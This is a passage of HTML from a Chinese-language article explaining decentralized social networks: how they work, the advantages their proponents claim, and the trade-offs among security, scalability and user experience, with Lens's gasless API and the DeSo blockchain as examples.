mpa-from-tpl="t"><section style="width: 42px;height: 34px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -56px;margin-bottom: -3px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.8095238095238095" class="rich_pages wxw-img" data-w="84" src="https://wechat2rss.xlab.app/img-proxy/?k=45b08941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJ1S19pfufUthZicQiaicAt4fibc0XcuffjBNLG5pT6Jfibo1dzsnibwl2VYu7tEBwmxTZx21GmOW4bcW5CibG0ibia6g10A%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 10px;height: 10px;background: #333333;border-right: 1px solid #FDFBFB;border-bottom: 1px solid #FDFBFB;align-self: flex-start;margin-bottom: -10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;background: #333333;padding: 4px 19px 3px 19px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;word-break: break-all;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">二、去中心化社交网络</span></p></section></section></section></section></section></section><section style="line-height: 2em;margin-top: 16px;"><br/></section><section style="line-height: 2em;margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" class="rich_pages wxw-img" data-w="44" style="display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">1.DeSoc定义</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交网络是基于区块链的平台，允许用户交换信息以及向受众发布和分发内容。由于这些应用程序在区块链上运行，它们能够去中心化并抵制审查和不当控制。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">许多去中心化的社交网络已成为现有社交媒体服务的替代品，例如 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Facebook</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">LinkedIn</span>、<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Twitter </span>和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Medium</span>。但基于区块链的社交网络有许多领先于传统社交平台的功能。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="line-height: 2em;margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding-right: 18px;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">2.工作原理</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交网络是一类去中心化应用程序 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(dapps) </span>，是由部署在区块链上的智能合约驱动的应用程序。合约代码充当这些应用程序的后端并定义它们的业务逻辑。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">传统社交媒体平台依靠数据库来存储用户信息、程序代码和其他形式的数据。但这会产生单点故障并带来重大风险。例如，去年 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Facebook </span>的服务器离线了数个小时，切断了用户与平台的连接。这件事引起了极差的反响。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交网络存在于由全球数千个节点组成的对等网络上。即使某些节点发生故障，网络也将不间断地运行，使应用程序能够抵御故障和中断。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">基于以太坊建立的社交网络使用类似星际文件系统 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(IPFS) </span>之类的去中心化存储系统，可以保护用户信息免遭利用和恶意使用。没有人会将你的个人信息出售给广告商，黑客也无法窃取你的机密信息。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">许多基于区块链的社交平台都有原生代币，可以在没有广告收入的情况下实现货币化。用户可以购买这些代币来访问某些功能、完成应用内购买或打赏他们最喜欢的内容创作者。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="line-height: 2em;margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding-right: 18px;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">3.DeSoc优势</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;">1<strong style="color: rgb(0, 122, 170);font-family: Calibri;font-size: 14px;letter-spacing: 1px;white-space: normal;">. </strong></span></strong><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化社交网络可抵御审查，并对所有人开放。这意味着用户不能被任意禁止操作、被社交平台禁言或遭到其他限制。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>2. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化社交网络建立在开源理念的基础上，并使应用程序的源代码开源。通过去除传统社交媒体中常见的不透明算法，基于区块链的社交网络可以使用户和平台创建者的利益保持一致。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>3. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化社交网络淘汰了“中间人”。内容创建者对其内容拥有直接所有权，他们直接与关注者、粉丝、买家和其他各方互动，双方之间的联系仅智能合约完成。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>4. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">由于去中心化应用程序在由全球节点对等网络提供支持的以太坊网络上运行，去中心化社交网络受服务器停机和中断的影响较小。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>5. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化社交平台通过非同质化代币 <span style="color: rgb(84, 84, 84);font-size: 14px;">(NFT)</span>、应用程序内加密支付等为内容创建人提供改进的货币化框架。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>6. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化的社交网络为用户提供了高度的隐私和匿名性。例如，个人可以使用以太坊域名服务的配置文件或钱包登录基于以太坊的社交网络，而无需共享可识别个人信息 <span style="color: rgb(84, 84, 84);font-size: 14px;">(PII)</span>，例如姓名、电子邮件地址等。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 14px;"><strong>7</strong><strong>. </strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;">去中心化社交网络依赖于去中心化存储，而不是中心化数据库。在保护用户数据方面，前者更加优秀。<o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="line-height: 2em;margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding-right: 18px;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">4.DeSoc三维困境</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">目前来看<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>能够解决<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span>下社交平台所遇到的大部分问题，那是不是说<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>就是完美的？</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">答案是否定的，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>在带来大量优势的同时也带给自己设计上的复杂性。<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>在设计上存在天生无法解决的“三难困境”，即其很难在安全性、可扩展性和用户体验上很难做到完美的平衡。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 15px;color: rgb(0, 122, 170);">安全性<span style="font-size: 15px;color: rgb(0, 122, 170);">VS</span>可扩展性</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">安全性表明了这个三难困境中的两件事：区块链的去中心化以及交易的执行。区块链的去中心化很简单：有了更多的验证者，区块链将变得更加去中心化和安全。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">但是，这就需要在安全性和可扩展性之间进行权衡。区块链去中心化程度越高、越安全，就越难以扩展。这就解释了为什么没有<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>协议能够真正在以太坊上运行，因为<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费用太高，网络会变得过于拥堵。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ZK-rollup</span>变得便宜和可用之前，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>协议需要在侧链、子网<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">/</span>超网或独立的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">L1</span>上运行。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">最安全的区块链并不是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>协议的最佳部署地，但公平地说，与<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeFi</span>协议不同，这些协议不一定需要以太坊的安全性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 15px;color: rgb(0, 122, 170);">安全性VS用户体验</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">当涉及到交易的执行时，一些<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>协议本身会执行交易。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">例如，用户关注某人，只需要签署消息就可以了。他们不支付<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费，也不实际执行交易，而是由协议本身承担这个角色。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这就需要在安全性和用户体验之间进行权衡。模糊<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费用是用户体验的一大进步。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">想象一下，如果每次你想发帖时都要支付<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Instagram</span>的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">AWS</span>账单的一小部分，那将是多么可怕的事情啊！</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">事实上，终极用户体验是你连接钱包，但永远不必处理提示你签署合约或支付交易的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">metamask</span>窗口弹出。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这样做的代价是让智能合约获得更多的权限和对钱包的控制权，而智能合约有被黑客攻击的风险。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在促进大规模采用的同时，它违背了<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web3</span>去中心化的本质。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户体验可以说是加密货币采用中最大的摩擦点；为了促进广泛采用，去中心化的最大化可能需要换个角度来看。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">事实上，当涉及到执行交易的安全性和用户体验之间的权衡时，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens</span>的无<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>是业界领先的。该<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>允许用户在区块链网络上执行交易，而无需支付任何费用。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这使得<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>可以与免费使用的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">web2</span>社交媒体相媲美。减少了用户等待交易完成的需要，无<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>允许他们滚动到下一次发布，并继续自由互动。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">该<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>允许用户简单地签署一条消息<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(</span>例如，作为一条评论<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span>，然后中继者接收这条消息与相关的信息，将数据上链，完成交易。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">对于中继者来说，这种方法稍微有点耗<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费，因为他们必须验证签名，然后在链上发布数据。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">然而，它让用户体验更有趣和满意。应用层平台需要支付<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费，这意味着<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lenster</span>或<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">LensFrens</span>有义务支付这些费用。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">虽然使用无<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">API</span>的缺点是，用户依赖中继者在链上发布交易，而不是自己完成交易，但考虑到社交媒体发布不需要与金融交易相同的安全级别，这种权衡是值得的。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">此外，中继器也增加了灵活性，有一个小时的宽限期，可以在链上正式发布交易，他们可以避免高<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">gas</span>费用的时期。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;"><strong style="font-size: 16px;font-family: Arial;"><span style="font-size: 15px;color: rgb(0, 122, 170);">用户体验VS可扩展性</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户体验和可扩展性之间的权衡更难分析。例如，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo(</span>不要与<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>混淆<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span>，一个专门为社交应用程序创建的区块链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo</span>已经扩展到超过<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">150</span>万用户<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(</span>远远超过了<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens</span>等竞争对手的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">5</span>万多用户<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">)</span>，但它缺乏可以让<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polygon</span>用户受益的周边生态系统，如游戏和<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeFi</span>协议。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: 